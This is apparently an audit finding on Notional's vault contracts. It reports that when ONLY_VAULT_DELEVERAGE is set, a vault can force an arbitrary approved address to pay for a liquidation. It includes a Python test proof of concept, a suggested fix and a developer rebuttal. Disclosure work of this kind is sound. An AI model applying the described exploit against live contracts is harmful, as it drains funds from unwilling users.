Arbitrary-Execution - When `ONLY_VAULT_DELEVERAGE` is enabled a vault can force an arbitrary address to liquidate an unhealthy vault account

[rcstanciu]

Arbitrary-Execution

high

When ONLY_VAULT_DELEVERAGE is enabled a vault can force an arbitrary address to liquidate an unhealthy vault account

Summary

When ONLY_VAULT_DELEVERAGE is enabled a vault can force an arbitrary address to liquidate an unhealthy vault account

Vulnerability Detail

When the ONLY_VAULT_DELEVERAGE flag is set, only the vault address itself can call deleverageAccount in VaultAccountAction.sol. This is enforced via the _authenticateDeleverage function:

// Authorization rules for deleveraging
if (vaultConfig.getFlag(VaultConfiguration.ONLY_VAULT_DELEVERAGE)) {
    require(msg.sender == vault, "Unauthorized");
} else {
    require(msg.sender == liquidator, "Unauthorized");
}

However, inside the if block when the ONLY_VAULT_DELEVERAGE flag is set, the require statement only checks that msg.sender == vault. This check is different from the other check in the else block as it does not check that the passed-in liquidator address is also the vault address. This means the vault address can supply any address as the liquidator, which is ultimately the address that has to pay the token amount to liquidate an unhealthy vault account. As long as the unwilling liquidator meets the following conditions it can be forced to liquidate accounts by the vault:

1. The liquidator has enough of the underlying tokens necessary for liquidation.
2. The liquidator has approved the Notional proxy address with enough tokens necessary for liquidation.
3. The liquidator does not already have a position in the vault whose maturity is different from the one of the unhealthy account.

Impact

A vault can force any address to liquidate an unhealthy vault account so long as the above conditions are met, even if the liquidation would be unprofitable for the liquidator.

Code Snippet

https://github.com/notional-finance/contracts-v2/blob/cf05d8e3e4e4feb0b0cef2c3f188c91cdaac38e0/contracts/external/actions/VaultAccountAction.sol#L343-L348

PoC (add to tests/stateful/vaults/test_vault_deleverage.py):

def test_deleverage_account_from_vault_with_different_account(environment, accounts, vault):
    environment.notional.updateVault(
        vault.address,
        get_vault_config(currencyId=2, flags=set_flags(0, ENABLED=True, ONLY_VAULT_DELEVERAGE=1)),
        100_000_000e8,
    )
    maturity = environment.notional.getActiveMarkets(1)[0][1]
    vaultAccount = accounts.at(vault.address, force=True)

    # The vault account does not have any DAI/cDAI that would be necessary to liquidate an account
    assert environment.token["DAI"].balanceOf(vaultAccount) == 0
    assert environment.cToken["DAI"].balanceOf(vaultAccount) == 0

    environment.notional.enterVault(
        accounts[1], vault.address, 50_000e18, maturity, 200_000e8, 0, "", {"from": accounts[1]}
    )

    vault.setExchangeRate(0.95e18)

    accountInfo = environment.notional.getVaultAccount(accounts[2], vault)
    assert accountInfo["maturity"] == 0

    # Notice how the liquidator here is accounts[2], but the caller is the vault account.
    # accounts[2] meets the 3 requirements:
    # 1) holds enough DAI/cDAI to liquidate an account
    # 2) has approved the Notional proxy to transfer tokens (maybe they are interacting with other
    #    functionality within Notional)
    # 3) does not currently hold a maturity in the vault
    environment.notional.deleverageAccount(
        accounts[1], vault.address, accounts[2], 1_000e8, True, "", {"from": vaultAccount}
    )

    accountInfo = environment.notional.getVaultAccount(accounts[2], vault)
    # accounts[2] now has a position in the vault due to the forced liquidation
    assert accountInfo["maturity"] != 0

Tool used

Manual Review

Recommendation

Consider adding a check to _authenticateDeleverage to ensure that when the ONLY_VAULT_DELEVERAGE flag is set the vault account can only set the liquidator to be itself or its owner address.

[jeffywu]

The ONLY_VAULT_DELEVERAGE flag would only be set when the calling vault's code is known and audited. It would be irresponsible to allow the vault to set an arbitrary liquidator address but that cannot be known without looking at the listed vault code itself.

I would consider this to be invalid since it is a hypothetical attack vector without a compromised vault that uses this flag.